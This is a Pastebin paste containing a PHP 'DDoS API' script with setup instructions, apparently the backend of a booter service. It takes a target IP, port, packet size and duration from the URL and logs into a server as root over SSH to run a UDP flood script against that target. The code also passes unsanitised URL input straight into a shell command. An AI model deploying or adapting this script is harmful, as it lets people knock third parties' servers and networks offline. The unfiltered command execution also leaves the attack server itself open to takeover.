fbimafia

UDP DDoS API Script [PHP]

Jan 18th, 2015
5,347
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.70 KB | None | 0 0
  1. This script was made for a DDoS API that I coded in a few hours with Trial and Error.
  2. Save to webhosting as a PHP File; then go to the link and after the link type ?apikey=123456
  3. Put your server details where it says Net_SSH2.
  4. Upload your DDoS Script to the root of your server, and then at the top of the PHP Script $cmd, change it to how your scripts runs.
  5. At the bottom, you can mess around with how it's setup.
  6. +-----------------------------------------------------------------------+
  7. | If you need help, contact me on Skype: fbi.cybercrimewatcher |
  8. | Released on: 01/18/2015 |
  9. +-----------------------------------------------------------------------+
  10.  
  11. <?php
  12. /*
  13. Coded by Psycho/Criminal
  14. Date Released: 01/18/2015
  15. Contact me if you need help with setting this up.
  16. */
  17. ?>
  18.  
  19. <?php
  20. $maxtime = "3601"; //Max Boot Time
  21. $cmd = "perl udp.pl"; //Main command it sends the server
  22. $host = $_GET['host']; //IP - Leave it.
  23. $port = $_GET['port']; //Port - Leave it.
  24. $byte = $_GET['byte']; //Byte/Packets Size - Leave it.
  25. $time = $_GET['time']; //Time = Seconds - Leave it.
  26. $apikey = $_GET['apikey'];
  27. include('Net/SSH2.php');
  28. ?>
  29. <?php
  30. if($apikey == null) //Checks to see if the key is blank.
  31. {
  32. ob_end_clean(); //Clears the page.
  33. echo '<font color="red">ERROR:</font> Enter your API Key.</font>';
  34. } else {
  35. //Shows forum if API is entered.
  36. }
  37. ?>
  38. <?php
  39. if($apikey == "123456" || $apikey == "1234567")
  40. {
  41. $ssh = new Net_SSH2('127.0.0.0'); //Put server IP/Host here.
  42. if (!$ssh->login('root', 'password')) //Username to Server, then password.
  43. {
  44. exit('Login Failed');
  45. } else {
  46. if($host == null)
  47. {
  48. echo '<font color="red">Syntax Error, no host entered.</font>';
  49. echo "</br>";
  50. echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
  51. } else {
  52. if($port == null)
  53. {
  54. echo '<font color="red">Syntax Error, no port entered.</font>';
  55. echo "</br>";
  56. echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
  57. } else {
  58. if($byte == null)
  59. {
  60. echo '<font color="red">Syntax Error, no packet size entered.</font>';
  61. echo "</br>";
  62. echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
  63. } else {
  64. if($time == null)
  65. {
  66. echo '<font color="red">Syntax Error, no time entered.</font>';
  67. echo "</br>";
  68. echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
  69. } else {
  70. if($host == "192.168.0.1" || $host == "192.168.0.0") //Blacklist yours or another persons IP here.
  71. {
  72. echo '<font color="black">IP Address '.$host.' is blacklisted.</font>';
  73. } else {
  74. if($time >= $maxtime)
  75. {
  76. echo '<font color="black">Syntax Error, max boot time is 3600.</font>';
  77. } else {
  78. echo $ssh->exec(''.$cmd.' '.$host.' '.$port.' '.$byte.' '.$time.''); //Sends the official command to server.
  79. }
  80. }
  81. }
  82. }
  83. }
  84. }
  85. }
  86. }
  87. ?>
Advertisement
Add Comment
Please, Sign In to add comment